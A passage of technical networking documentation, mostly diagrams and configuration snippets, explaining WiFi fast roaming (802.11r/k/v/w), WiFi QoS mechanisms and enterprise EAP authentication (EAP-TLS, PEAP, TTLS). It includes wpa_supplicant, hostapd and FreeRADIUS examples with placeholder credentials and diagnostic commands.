    Client->>AP2: Reassociation Request
    AP2->>DS: Notify about client reassociation
    DS->>AP1: Forward reassociation notice
    AP1->>DS: Release client context
    AP2->>Client: Reassociation Response

    Note over Client,AP2: Client now connected to AP2

graph TB
    MSK[MSK - Master Session Key<br/>from 802.1X/EAP Auth]

    MSK --> PMK[PMK - Pairwise Master Key<br/>Derived via PRF]

    PMK --> PMKR0[PMK-R0<br/>Includes: SSID + MDID + R0KHID<br/>Stored at R0 Key Holder]

    PMKR0 --> PMKR1_AP1[PMK-R1 for AP1<br/>Includes: R1KHID AP1<br/>Stored at AP1]
    PMKR0 --> PMKR1_AP2[PMK-R1 for AP2<br/>Includes: R1KHID AP2<br/>Stored at AP2]
    PMKR0 --> PMKR1_AP3[PMK-R1 for AP3<br/>Includes: R1KHID AP3<br/>Stored at AP3]

    PMKR1_AP1 --> PTK1[PTK for Session with AP1<br/>Ephemeral, per-association]
    PMKR1_AP2 --> PTK2[PTK for Session with AP2<br/>Ephemeral, per-association]
    PMKR1_AP3 --> PTK3[PTK for Session with AP3<br/>Ephemeral, per-association]

    PTK1 --> Traffic1[Encrypted Traffic]
    PTK2 --> Traffic2[Encrypted Traffic]
    PTK3 --> Traffic3[Encrypted Traffic]

    style MSK fill:#FFE6E6
    style PMK fill:#FFE6E6
    style PMKR0 fill:#FFF9E6
    style PMKR1_AP1 fill:#E6F3FF
    style PMKR1_AP2 fill:#E6F3FF
    style PMKR1_AP3 fill:#E6F3FF
    style PTK1 fill:#E6FFE6
    style PTK2 fill:#E6FFE6
    style PTK3 fill:#E6FFE6

sequenceDiagram
    participant Client
    participant CurrentAP as Current AP (AP1)
    participant TargetAP as Target AP (AP2)
    participant DS as Distribution System
    participant AuthServer as Authentication Server

    Note over Client,CurrentAP: Initial Association with FT
    Client->>CurrentAP: Association Request (MDIE, RSN)
    CurrentAP->>AuthServer: Full 802.1X Authentication
    AuthServer->>CurrentAP: PMK (Pairwise Master Key)
    CurrentAP->>CurrentAP: Derive PTK, GTK
    CurrentAP->>Client: Association Response (MDIE, FTIE)
    Note over Client,CurrentAP: Client now part of Mobility Domain

    Note over Client: Signal weakening, client scans
    Client->>TargetAP: Probe Request
    TargetAP->>Client: Probe Response (MDIE, FT-capable)

    alt Over-the-Air FT
        Note over Client,TargetAP: Fast Transition (Over-the-Air)
        Client->>TargetAP: FT Authentication Request (FTIE, MDIE)
        TargetAP->>CurrentAP: Request PMK context (via DS)
        CurrentAP->>TargetAP: Transfer PMK context
        TargetAP->>TargetAP: Derive new PTK using PMK
        TargetAP->>Client: FT Authentication Response (FTIE)
        Client->>TargetAP: FT Reassociation Request
        TargetAP->>Client: FT Reassociation Response
        Note over Client,TargetAP: Handoff complete (~10ms)
    else Over-the-DS FT
        Note over Client,DS: Fast Transition (Over-the-DS)
        Client->>CurrentAP: FT Request (to TargetAP)
        CurrentAP->>TargetAP: Forward FT Request + PMK
        TargetAP->>TargetAP: Derive new PTK
        TargetAP->>CurrentAP: FT Response
        CurrentAP->>Client: FT Response
        Client->>TargetAP: FT Reassociation Request
        TargetAP->>Client: FT Reassociation Response
        Note over Client,TargetAP: Handoff complete (~10ms)
    end

flowchart TD
    subgraph Legacy["Legacy Roaming (50-100ms)"]
        L1[Scan & Probe] --> L2[Open Authentication]
        L2 --> L3[Full 802.1X Auth]
        L3 --> L4[4-Way Handshake]
        L4 --> L5[Reassociation]
    end

    subgraph FT["802.11r Fast Transition (<10ms)"]
        F1[Scan & Probe] --> F2[FT Authentication<br/>with PMK Cache]
        F2 --> F3[FT Reassociation<br/>PTK Derived]
        style F3 fill:#90EE90
    end

    style Legacy fill:#FFB6C6
    style FT fill:#B6FFB6

sequenceDiagram
    participant Client
    participant AP1 as Current AP
    participant AP2 as Neighbor AP
    participant AP3 as Neighbor AP

    Note over Client,AP1: Client associated with AP1

    rect rgb(230, 240, 255)
        Note over Client,AP1: Neighbor Report Request
        Client->>AP1: Neighbor Report Request
        AP1->>AP1: Generate neighbor list<br/>(AP2, AP3, etc.)
        AP1->>Client: Neighbor Report Response<br/>(AP info: BSSID, Channel, PHY)
    end

    rect rgb(255, 240, 230)
        Note over Client: Beacon Report Request (optional)
        Client->>Client: Request detailed beacon info
        AP1->>Client: Beacon Request (scan AP2, AP3)
        Client->>Client: Passive/Active scan
        Client->>AP1: Beacon Report<br/>(RSSI, Channel Load, etc.)
    end

    rect rgb(240, 255, 240)
        Note over Client: Radio Measurement Reports
        Client->>Client: Analyze reports:<br/>• Signal strength (RSSI)<br/>• Channel utilization<br/>• Noise histogram<br/>• Link quality
        Client->>Client: Select best AP for roaming
    end

    Note over Client,AP2: Client roams to AP2

graph TB
    subgraph RRM["802.11k Radio Resource Management"]
        NR[Neighbor Report]
        BR[Beacon Report]
        CLR[Channel Load Report]
        NHR[Noise Histogram]
        LMR[Link Measurement]

        NR -->|Provides| NR1[BSSID, Channel,<br/>Operating Class]
        BR -->|Provides| BR1[RSSI, Beacon Interval,<br/>Capability Info]
        CLR -->|Provides| CLR1[Channel Busy %,<br/>Medium Utilization]
        NHR -->|Provides| NHR1[Interference Levels<br/>per Channel]
        LMR -->|Provides| LMR1[SNR, Packet Error Rate,<br/>Transmit Power]
    end

    NR1 --> Decision[Intelligent<br/>Roaming Decision]
    BR1 --> Decision
    CLR1 --> Decision
    NHR1 --> Decision
    LMR1 --> Decision

    style Decision fill:#90EE90
    style RRM fill:#E6F3FF

sequenceDiagram
    participant Client
    participant AP1 as Current AP
    participant AP2 as Target AP (Preferred)
    participant Controller as Network Controller

    Note over Client,AP1: Client connected to AP1

    rect rgb(255, 230, 230)
        Note over AP1,Controller: Network-Initiated Roaming
        Controller->>AP1: Detect client should move<br/>(load balancing/signal)
        AP1->>Client: BTM Request<br/>(Candidate List: AP2)
        Note over Client: Candidate List includes:<br/>• BSSID of target APs<br/>• Operating class & channel<br/>• Preference values
    end

    rect rgb(230, 255, 230)
        Note over Client: Client Decision
        Client->>Client: Evaluate BTM candidates<br/>+ own scan results
        Client->>Client: Select AP2 (highest preference)
        Client->>AP1: BTM Response (Accept)
    end

    rect rgb(230, 230, 255)
        Note over Client,AP2: Roaming Process
        Client->>AP2: Authentication & Reassociation
        AP2->>Client: Association Response
        Note over Client,AP2: Client now on AP2
    end

    Client->>AP2: BTM Status Report (optional)

graph LR
    subgraph WNM["802.11v Wireless Network Management"]
        BTM[BSS Transition<br/>Management]
        DMS[Directed Multicast<br/>Service]
        FMS[Flexible Multicast<br/>Service]
        TFS[Traffic Filtering<br/>Service]
        Sleep[WNM Sleep Mode]
    end

    BTM -->|Benefit| BTM1[Network-assisted<br/>roaming decisions]
    DMS -->|Benefit| DMS1[Efficient multicast<br/>delivery]
    FMS -->|Benefit| FMS1[Scheduled multicast<br/>for power saving]
    TFS -->|Benefit| TFS1[Filter unwanted<br/>traffic at AP]
    Sleep -->|Benefit| Sleep1[Deep sleep while<br/>maintaining connection]

    BTM1 --> Outcome[Better Performance<br/>& Battery Life]
    DMS1 --> Outcome
    FMS1 --> Outcome
    TFS1 --> Outcome
    Sleep1 --> Outcome

    style Outcome fill:#90EE90
    style WNM fill:#FFE6F0

flowchart TB
    subgraph Client["Client-Initiated (Legacy)"]
        C1[Client monitors RSSI] --> C2[Signal weakens]
        C2 --> C3[Client scans all channels]
        C3 --> C4[Client selects AP]
        C4 --> C5[Client initiates roam]
    end

    subgraph Network["Network-Initiated (802.11v)"]
        N1[AP/Controller monitors<br/>client conditions] --> N2[AP detects poor signal<br/>or load imbalance]
        N2 --> N3[AP sends BTM Request<br/>with candidate list]
        N3 --> N4[Client evaluates<br/>suggestions]
        N4 --> N5[Client roams to<br/>recommended AP]
    end

    style Client fill:#FFE6E6
    style Network fill:#E6FFE6

sequenceDiagram
    participant Attacker
    participant Client
    participant AP

    Note over Client,AP: Without 802.11w (Vulnerable)
    rect rgb(255, 200, 200)
        Attacker->>Client: Deauth Frame (Spoofed)
        Client->>Client: Disconnect from AP
        Note over Client: Connection disrupted!
    end

    Note over Client,AP: With 802.11w (Protected)
    rect rgb(200, 255, 200)
        Client->>AP: Initial 4-Way Handshake
        AP->>Client: Establish IGTK (Integrity Group Temporal Key)
        Attacker->>Client: Deauth Frame (Spoofed)
        Client->>Client: Verify frame integrity<br/>using MIC (Message Integrity Code)
        Client->>Client: Invalid MIC - Frame rejected
        Note over Client,AP: Connection maintained!
    end

sequenceDiagram
    participant C as Client
    participant OldAP as Current AP
    participant NewAP as Target AP
    participant Auth as Auth Server

    rect rgb(255, 230, 230)
        Note over C,Auth: Legacy Roaming (~100ms)
        C->>C: Scan all channels (20-50ms)
        C->>NewAP: Probe Request
        NewAP->>C: Probe Response
        C->>NewAP: Authentication Request
        NewAP->>C: Authentication Response
        C->>NewAP: Association Request
        NewAP->>Auth: Full 802.1X (30-50ms)
        Auth->>NewAP: PMK
        NewAP->>C: 4-Way Handshake (20ms)
        C->>NewAP: Reassociation Complete
    end

    Note over C: ---

    rect rgb(230, 255, 230)
        Note over C,Auth: Modern Roaming with 802.11r/k/v (<20ms)
        OldAP->>C: Neighbor Report (802.11k)
        OldAP->>C: BTM Request (802.11v)
        C->>C: Targeted scan (5-10ms)
        C->>NewAP: FT Authentication (802.11r)
        NewAP->>OldAP: Request PMK context
        OldAP->>NewAP: Transfer PMK
        NewAP->>C: FT Authentication Response
        C->>NewAP: FT Reassociation (<10ms)
        Note over C,NewAP: Roaming complete!
    end

graph TB
    Client[WiFi Client Device]

    subgraph Discovery["Discovery Phase (802.11k)"]
        K1[Request Neighbor Report] --> K2[Receive AP List with<br/>RSSI, Channel, Load]
        K2 --> K3[Targeted Scanning]
    end

    subgraph Decision["Decision Phase (802.11v)"]
        V1[Receive BTM Request] --> V2[Evaluate Candidates<br/>+ Network Suggestions]
        V2 --> V3[Select Optimal AP]
    end

    subgraph Transition["Transition Phase (802.11r)"]
        R1[FT Authentication<br/>with PMK Cache] --> R2[Fast Key Derivation]
        R2 --> R3[FT Reassociation<br/><10ms]
    end

    subgraph Security["Security (802.11w)"]
        W1[Protected Management<br/>Frames] --> W2[Prevent Deauth Attacks]
        W2 --> W3[Secure Roaming Process]
    end

    Client --> Discovery
    Discovery --> Decision
    Decision --> Transition
    Transition --> Security
    Security --> Connected[Connected to New AP]

    style Discovery fill:#E6F3FF
    style Decision fill:#FFE6F0
    style Transition fill:#E6FFE6
    style Security fill:#FFF9E6
    style Connected fill:#90EE90

gantt
    title Roaming Process Timeline Comparison
    dateFormat X
    axisFormat %Lms

    section Legacy
    Channel Scanning           :0, 50
    Authentication             :50, 30
    4-Way Handshake           :80, 20
    Total (100ms)             :0, 100

    section 802.11r Only
    Channel Scanning           :0, 40
    FT Authentication         :40, 5
    FT Reassociation          :45, 5
    Total (50ms)              :0, 50

    section 802.11r+k+v
    Targeted Scanning         :0, 10
    FT Authentication         :10, 5
    FT Reassociation          :15, 5
    Total (20ms)              :0, 20

graph LR
    subgraph Scenario1["Enterprise Office"]
        S1[High Density APs] --> S1A[802.11r/k/v/w<br/>All Enabled]
        S1A --> S1B[VoIP & Video<br/>Optimized]
    end

    subgraph Scenario2["Public Venue"]
        S2[Medium Density APs] --> S2A[802.11r/k<br/>Minimum]
        S2A --> S2B[Basic Mobility<br/>Support]
    end

    subgraph Scenario3["Home/Small Office"]
        S3[2-3 APs] --> S3A[Legacy or<br/>802.11r Only]
        S3A --> S3B[Simple Setup<br/>Acceptable]
    end

    style Scenario1 fill:#E6FFE6
    style Scenario2 fill:#FFF9E6
    style Scenario3 fill:#FFE6E6

graph TB
    subgraph Metrics["Key Roaming Metrics"]
        M1[Roaming Latency<br/>Target: <50ms]
        M2[Roaming Success Rate<br/>Target: >95%]
        M3[Average RSSI<br/>at Roaming Decision<br/>Target: -70 to -75 dBm]
        M4[Failed Authentications<br/>Target: <1%]
        M5[Client Association Time<br/>Target: <100ms]
    end

    subgraph Tools["Monitoring Tools"]
        T1[Wireless Controller Logs]
        T2[RADIUS Server Logs]
        T3[Client-Side Tools<br/>iw, wpa_supplicant]
        T4[Packet Capture<br/>Wireshark, tcpdump]
        T5[Network Management System]
    end

    Metrics --> Analysis[Roaming<br/>Performance Analysis]
    Tools --> Analysis

    Analysis --> Actions[Optimization Actions]

    style Metrics fill:#E6F3FF
    style Tools fill:#FFE6F0
    style Analysis fill:#FFF9E6
    style Actions fill:#90EE90

# Check current connection and roaming capabilities
iw dev wlan0 link
iw dev wlan0 scan | grep -E "BSS|SSID|freq|signal|capability"

# Monitor roaming events in real-time
wpa_cli -i wlan0
> status
> bss_flush 0
> scan
> scan_results

# Check FT (802.11r) capabilities
iw dev wlan0 scan | grep -A 20 "your-ssid" | grep -E "FT|Mobility"

# Monitor neighbor reports (802.11k)
iw dev wlan0 station dump

# Enable debug logging for roaming events
hostapd -dd /etc/hostapd/hostapd.conf | grep -E "FT|BTM|neighbor"

# Check associated clients and their roaming status
hostapd_cli all_sta
hostapd_cli status

# Send BSS transition management request
hostapd_cli bss_tm_req <client-mac> neighbor=<target-bssid>,<op-class>,<channel>

# 802.11r Fast BSS Transition frames
wlan.fc.type_subtype == 0x000b || wlan.fc.type_subtype == 0x000c

# Authentication and Reassociation
wlan.fc.type_subtype == 0x0000 || wlan.fc.type_subtype == 0x0001 ||
wlan.fc.type_subtype == 0x0002 || wlan.fc.type_subtype == 0x0003

# 802.11k Neighbor Reports
wlan.tag.number == 52

# 802.11v BSS Transition Management
wlan.fixed.action_code == 7 || wlan.fixed.action_code == 8

# 802.11w Protected Management Frames
wlan.fc.protected == 1 && (wlan.fc.type == 0)

network={
    ssid="YourNetwork"
    psk="YourPassword"
    key_mgmt=WPA-PSK WPA-PSK-SHA256 FT-PSK
    ieee80211w=2                    # Require PMF (802.11w)

    # Fast roaming settings
    proactive_key_caching=1         # Enable opportunistic key caching
    ft_eap_pmksa_caching=1          # Enable PMK caching for FT

    # Roaming aggressiveness (0-3, 0 = disabled, 3 = most aggressive)
    bgscan="simple:30:-70:3600"     # Background scanning

    # Scan frequency configuration
    scan_freq=2412 2437 2462 5180 5200 5220 5240 5745 5765 5785 5805
}

# Basic settings
interface=wlan0
driver=nl80211
ssid=YourNetwork
wpa=2
wpa_key_mgmt=WPA-PSK FT-PSK
wpa_pairwise=CCMP

# 802.11r Fast BSS Transition
mobility_domain=a1b2              # Same for all APs in the domain
ft_over_ds=1                       # Enable FT over Distribution System
ft_psk_generate_local=1            # Generate PMK-R0/R1 locally
nas_identifier=ap1.example.com     # Unique per AP
r0kh=02:00:00:00:03:00 ap1.example.com 000102030405060708090a0b0c0d0e0f
r1kh=02:00:00:00:03:00 00:00:00:00:03:00 000102030405060708090a0b0c0d0e0f

# 802.11k Radio Resource Management
rrm_neighbor_report=1
rrm_beacon_report=1

# 802.11v BSS Transition Management
bss_transition=1
wnm_sleep_mode=1
time_advertisement=2

# 802.11w Protected Management Frames
ieee80211w=2                       # Required (2) or Optional (1)
group_mgmt_cipher=AES-128-CMAC

# Roaming optimization
ap_max_inactivity=300
disassoc_low_ack=1
skip_inactivity_poll=0

DSCP Range          → Access Category
------------------------------------
EF (46), CS6 (48)   → AC_VO (Voice)
AF41-AF43 (34-38)   → AC_VI (Video)
CS4 (32), AF31-AF33 → AC_VI (Video)
AF21-AF23 (18-22)   → AC_BE (Best Effort)
CS0 (0), DF (0)     → AC_BE (Best Effort)
CS1 (8), CS2 (16)   → AC_BK (Background)

Exceptions:
  DSCP 46 → AC_VO
  DSCP 34 → AC_VI

Ranges:
  DSCP 0-7   → AC_BK
  DSCP 8-15  → AC_BE
  DSCP 16-31 → AC_BE
  DSCP 32-47 → AC_VI
  DSCP 48-63 → AC_VO

TCLAS Elements:
- Classifier Type 4 (IP and higher layer parameters):
  • Source IP address
  • Destination IP address
  • Source port
  • Destination port
  • Protocol (TCP/UDP)
  • DSCP value

Client (STA)                          Access Point (AP)
     |                                       |
     |  MSCS Request (TCLAS, QoS params)    |
     |-------------------------------------->|
     |                                       | [Process & Classify]
     |       MSCS Response (Accept/Reject)   |
     |<--------------------------------------|
     |                                       |
     |  [Uplink stream with QoS]            |
     |-------------------------------------->|
     |                                       |
     |  [Downlink stream with mirrored QoS] |
     |<--------------------------------------|

Client initiates SCS:
┌─────────────────────────────────────────┐
│ SCS Request Frame                       │
├─────────────────────────────────────────┤
│ • Stream ID(s)                          │
│ • TCLAS elements (stream classifiers)   │
│ • TCLAS Processing rule                 │
│ • QoS Characteristics:                  │
│   - Service class                       │
│   - Minimum data rate                   │
│   - Maximum latency                     │
│   - Mean data rate                      │
│   - Burst size                          │
│ • Stream timeout                        │
└─────────────────────────────────────────┘
         ↓
┌─────────────────────────────────────────┐
│ SCS Response Frame                      │
├─────────────────────────────────────────┤
│ • Stream ID                             │
│ • Status (Accept/Reject/Modify)         │
│ • Accepted QoS parameters               │
│ • Alternative suggestions (if rejected) │
└─────────────────────────────────────────┘

Service Class Types:
• BE (Best Effort): Default internet traffic
• BK (Background): Bulk data transfer
• EE (Excellent Effort): Better than BE, not time-critical
• CL (Controlled Load): Moderate latency requirements
• VI (Video): Low latency, moderate jitter tolerance
• VO (Voice): Ultra-low latency, minimal jitter
• NC (Network Control): Critical network management

Stream Lifecycle:
┌─────────┐  Request  ┌─────────┐  Traffic   ┌────────┐
│ Pending │─────────→│ Active  │──────────→│ Active │
└─────────┘  Accepted └─────────┘  Flowing   └────────┘
                                                  │
                                                  │ Timeout
                                                  ↓
                                              ┌────────┐
                                              │ Ended  │
                                              └────────┘

Policy Attributes:
┌──────────────────────────────────────┐
│ • Policy ID                          │
│ • Request Type Control               │
│ • Domain Name (e.g., *.company.com)  │
│ • DSCP Value(s) to apply             │
│ • Port Range                         │
│ • Protocol (TCP/UDP/both)            │
│ • Direction (uplink/downlink/both)   │
│ • Policy Lifetime                    │
└──────────────────────────────────────┘

Client                                    AP
  |                                        |
  |  DSCP Policy Query                     |
  |  (Request policies for domain/app)     |
  |--------------------------------------->|
  |                                        |
  |  DSCP Policy Response                  |
  |  (Policy elements for requested items) |
  |<---------------------------------------|
  |                                        |
  |  Apply DSCP marking to traffic         |
  |--------------------------------------->|

Policy: Zoom
  Domain: *.zoom.us
  DSCP: 34 (AF41) for video
  DSCP: 46 (EF) for audio
  Direction: Both

Policy: VoIP
  Ports: 5060-5061 (SIP), 10000-20000 (RTP)
  Protocol: UDP
  DSCP: 46 (EF)
  Direction: Both

Policy: Cloud Backup
  Domain: *.dropbox.com, *.onedrive.com
  DSCP: 8 (CS1)
  Direction: Uplink

Application → DSCP Policy → DSCP Marking → QoS Map → Access Category

Example:
Zoom Call → "Zoom Policy" → DSCP 46 → QoS Map → AC_VO

# Check QoS capabilities
iw dev wlan0 info | grep -i qos

# View current QoS Map
iw dev wlan0 station dump | grep -i "qos\|wmm"

# Monitor WiFi QoS statistics
tc -s qdisc show dev wlan0

# Capture QoS frames
tcpdump -i wlan0 -v 'type mgt subtype action'

# QoS Map frames
wlan.fixed.action_code == 4

# MSCS frames
wlan.fixed.action_code == 5

# SCS frames
wlan.fixed.action_code == 6

# DSCP Policy frames
wlan.ext_tag.number == 108

graph LR
    A[Peer<br/>Supplicant] <--> B[Authenticator<br/>NAS]
    B <--> C[Authentication<br/>Server]

    style A fill:#e1f5ff
    style B fill:#fff4e1
    style C fill:#e8f5e9

 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     Code      |  Identifier   |            Length             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     Type      |  Type-Data ...
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

sequenceDiagram
    participant P as Peer
    participant A as Authenticator
    participant S as Auth Server

    A->>P: EAPol-Start (optional)
    P->>A: EAP-Response/Identity
    A->>S: RADIUS Access-Request (EAP Identity)

    S->>A: RADIUS Access-Challenge (EAP Request/Method)
    A->>P: EAP-Request/Method
    P->>A: EAP-Response/Method
    A->>S: RADIUS Access-Request (EAP Response)

    Note over P,S: Multiple exchanges may occur

    S->>A: RADIUS Access-Accept (EAP Success + Keys)
    A->>P: EAP-Success

    Note over P,A: Port authorized, traffic flows

stateDiagram-v2
    [*] --> Disabled
    Disabled --> Initialize: Port enabled
    Initialize --> Idle: Start
    Idle --> Select_Method: Identity received
    Select_Method --> Method: Method selected
    Method --> Method: Exchange continues
    Method --> Success: Auth succeeds
    Method --> Failure: Auth fails
    Method --> Select_Method: Method change
    Success --> Authenticated
    Failure --> Disconnected
    Authenticated --> Idle: Timeout/Reauthentication
    Disconnected --> [*]

sequenceDiagram
    participant P as Peer
    participant A as Authenticator
    participant S as Auth Server

    P->>A: EAPOL-Start
    A->>P: EAP-Request/Identity
    P->>A: EAP-Response/Identity (user@realm)
    A->>S: RADIUS Access-Request

    S->>A: RADIUS Access-Challenge
    A->>P: EAP-Request/TLS (Start)

    P->>A: EAP-Response/TLS (ClientHello)
    A->>S: RADIUS Access-Request

    S->>A: RADIUS Access-Challenge
    A->>P: EAP-Request/TLS (ServerHello, Certificate, CertRequest, Done)

    P->>A: EAP-Response/TLS (Certificate, ClientKeyExchange, CertVerify, Finished)
    A->>S: RADIUS Access-Request

    S->>A: RADIUS Access-Challenge
    A->>P: EAP-Request/TLS (ChangeCipherSpec, Finished)

    P->>A: EAP-Response/TLS (ACK)
    A->>S: RADIUS Access-Request

    Note over S: Derives MSK from TLS session

    S->>A: RADIUS Access-Accept (EAP-Success, MSK, MPPE-Keys)
    A->>P: EAP-Success

    Note over P,A: PMK = MSK[0:256 bits]
    Note over P,A: 4-Way Handshake for PTK/GTK

TLS Master Secret (48 bytes)
        ↓
    PRF-256
        ↓
    ┌───────────────┐
    │  Key Block    │
    └───────────────┘
         ↓
    ┌────┴────┐
    ↓         ↓
   MSK      EMSK
(64 bytes) (64 bytes)
    ↓
  PMK (first 256 bits of MSK)
    ↓
4-Way Handshake
    ↓
  PTK, GTK

network={
    ssid="Enterprise-WiFi"
    key_mgmt=WPA-EAP
    eap=TLS
    identity="user@example.com"

    # Client certificate and key
    client_cert="/etc/certs/client.crt"
    private_key="/etc/certs/client.key"
    private_key_passwd="keypassword"

    # CA certificate (validates server)
    ca_cert="/etc/certs/ca.crt"

    # Optional: Verify server certificate CN
    domain_suffix_match="radius.example.com"

    # TLS version
    phase1="tls_disable_tlsv1_0=1 tls_disable_tlsv1_1=1"
}

# Basic settings
interface=wlan0
ssid=Enterprise-WiFi
auth_algs=1
wpa=2
wpa_key_mgmt=WPA-EAP
rsn_pairwise=CCMP

# 802.1X settings
ieee8021x=1
eapol_version=2

# RADIUS server
auth_server_addr=192.168.1.10
auth_server_port=1812
auth_server_shared_secret=radiussecret

eap {
    default_eap_type = tls

    tls-config tls-common {
        # Server certificate
        private_key_file = /etc/raddb/certs/server.key
        certificate_file = /etc/raddb/certs/server.crt
        ca_file = /etc/raddb/certs/ca.crt

        # Client certificate validation
        ca_path = /etc/raddb/certs/
        cipher_list = "HIGH"
        cipher_server_preference = no
        tls_min_version = "1.2"

        # Certificate verification
        check_cert_cn = %{User-Name}
    }

    tls {
        tls = tls-common
    }
}

┌─────────────────────────────────────────┐
│         TLS Tunnel (Phase 1)            │
│  ┌───────────────────────────────────┐  │
│  │   Inner EAP Method (Phase 2)      │  │
│  │                                   │  │
│  │   EAP-MSCHAPv2 / EAP-GTC /etc    │  │
│  └───────────────────────────────────┘  │
└─────────────────────────────────────────┘
         Server Certificate Required
         Client Certificate Optional

sequenceDiagram
    participant P as Peer
    participant A as Authenticator
    participant S as Auth Server

    Note over P,S: Phase 0: Identity Exchange
    A->>P: EAP-Request/Identity
    P->>A: EAP-Response/Identity (anonymous@realm)
    A->>S: RADIUS Access-Request

    Note over P,S: Phase 1: TLS Tunnel Establishment
    S->>A: RADIUS Access-Challenge
    A->>P: EAP-Request/PEAP (Start)
    P->>A: EAP-Response/PEAP (ClientHello)
    A->>S: RADIUS Access-Request

    S->>A: RADIUS Access-Challenge
    A->>P: EAP-Request/PEAP (ServerHello, Certificate, Done)

    Note over P: Validates server certificate

    P->>A: EAP-Response/PEAP (ClientKeyExchange, ChangeCipherSpec, Finished)
    A->>S: RADIUS Access-Request

    S->>A: RADIUS Access-Challenge
    A->>P: EAP-Request/PEAP (ChangeCipherSpec, Finished)

    Note over P,S: TLS Tunnel Established
    Note over P,S: Phase 2: Inner Authentication (in TLS tunnel)

    S->>A: RADIUS Access-Challenge
    A->>P: EAP-Request/PEAP [EAP-Request/Identity]
    P->>A: EAP-Response/PEAP [EAP-Response/Identity (actualuser)]
    A->>S: RADIUS Access-Request

    S->>A: RADIUS Access-Challenge
    A->>P: EAP-Request/PEAP [EAP-Request/MSCHAPv2 Challenge]
    P->>A: EAP-Response/PEAP [EAP-Response/MSCHAPv2 Response]
    A->>S: RADIUS Access-Request

    S->>A: RADIUS Access-Challenge
    A->>P: EAP-Request/PEAP [EAP-Request/MSCHAPv2 Success]
    P->>A: EAP-Response/PEAP [EAP-Response/MSCHAPv2 Ack]
    A->>S: RADIUS Access-Request

    Note over S: Phase 2 successful, derive keys

    S->>A: RADIUS Access-Accept (EAP-Success, MSK)
    A->>P: EAP-Success

network={
    ssid="Corporate-WiFi"
    key_mgmt=WPA-EAP
    eap=PEAP

    # Outer identity (can be anonymous)
    identity="anonymous@example.com"

    # Inner identity (actual username)
    password="userpassword"

    # Phase 2 (inner) authentication
    phase2="auth=MSCHAPV2"

    # CA certificate to validate server
    ca_cert="/etc/certs/ca.crt"

    # Optional: Verify server certificate
    domain_suffix_match="radius.example.com"

    # PEAP version (0 = PEAPv0, 1 = PEAPv1)
    phase1="peapver=0"

    # Anonymous identity for outer tunnel
    anonymous_identity="anonymous@example.com"
}

eap {
    default_eap_type = peap

    peap {
        tls = tls-common
        default_eap_type = mschapv2
        copy_request_to_tunnel = yes
        use_tunneled_reply = yes
        virtual_server = "inner-tunnel"
    }

    mschapv2 {
        # MSCHAPv2 settings
        with_ntdomain_hack = no
    }
}

server inner-tunnel {
    authorize {
        filter_username
        chap
        mschap
        eap {
            ok = return
        }
        files
        -sql
        -ldap
    }

    authenticate {
        Auth-Type EAP {
            eap
        }
        mschap
    }
}

TLS Master Secret
        ↓
   TLS PRF (outer)
        ↓
    PEAP Keys
        ↓
  ┌─────┴─────┐
  ↓           ↓
Inner     Outer
Method    Keys
  ↓
MSCHAPv2
Response
  ↓
MSK (combined from TLS + MSCHAPv2)

sequenceDiagram
    participant P as Peer
    participant A as Authenticator
    participant S as Auth Server

    Note over P,S: Phase 1: TLS Tunnel Setup
    A->>P: EAP-Request/Identity
    P->>A: EAP-Response/Identity (anonymous@realm)
    A->>S: RADIUS Access-Request

    S->>A: RADIUS Access-Challenge
    A->>P: EAP-Request/TTLS (Start)

    Note over P,S: TLS Handshake (similar to PEAP)

    P->>A: EAP-Response/TTLS (ClientHello)
    A->>S: RADIUS Access-Request
    S->>A: RADIUS Access-Challenge
    A->>P: EAP-Request/TTLS (ServerHello, Cert, Done)
    P->>A: EAP-Response/TTLS (ClientKeyExchange, Finished)
    A->>S: RADIUS Access-Request

    Note over P,S: TLS Tunnel Established
    Note over P,S: Phase 2: Inner Auth (AVP-based)

    S->>A: RADIUS Access-Challenge
    A->>P: EAP-Request/TTLS [AVP: User-Name?]
    P->>A: EAP-Response/TTLS [AVP: User-Name="alice"]
    A->>S: RADIUS Access-Request

    S->>A: RADIUS Access-Challenge
    A->>P: EAP-Request/TTLS [AVP: MS-CHAP-Challenge]
    P->>A: EAP-Response/TTLS [AVP: MS-CHAP-Response]
    A->>S: RADIUS Access-Request

    Note over S: Validates credentials

    S->>A: RADIUS Access-Accept (MSK)
    A->>P: EAP-Success

 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           AVP Code                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|V M P r r r r r|                AVP Length                     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                        Vendor-ID (opt)                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           Data ...                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

network={
    ssid="TTLS-Network"
    key_mgmt=WPA-EAP
    eap=TTLS

    # Outer identity (anonymous)
    anonymous_identity="anonymous@example.com"

    # Inner identity and password
    identity="alice@example.com"
    password="userpassword"

    # Phase 2: Use PAP (password in clear, but encrypted by TLS)
    phase2="auth=PAP"

    # CA certificate
    ca_cert="/etc/certs/ca.crt"
    domain_suffix_match="radius.example.com"
}

network={
    ssid="TTLS-Network"
    key_mgmt=WPA-EAP
    eap=TTLS
    anonymous_identity="anonymous@example.com"
    identity="bob@example.com"
    password="bobpassword"

    # Phase 2: Use MSCHAPv2
    phase2="auth=MSCHAPV2"

    ca_cert="/etc/certs/ca.crt"
}

network={
    ssid="TTLS-Network"
    key_mgmt=WPA-EAP
    eap=TTLS
    anonymous_identity="anonymous@example.com"
    identity="carol@example.com"
    password="carolpassword"

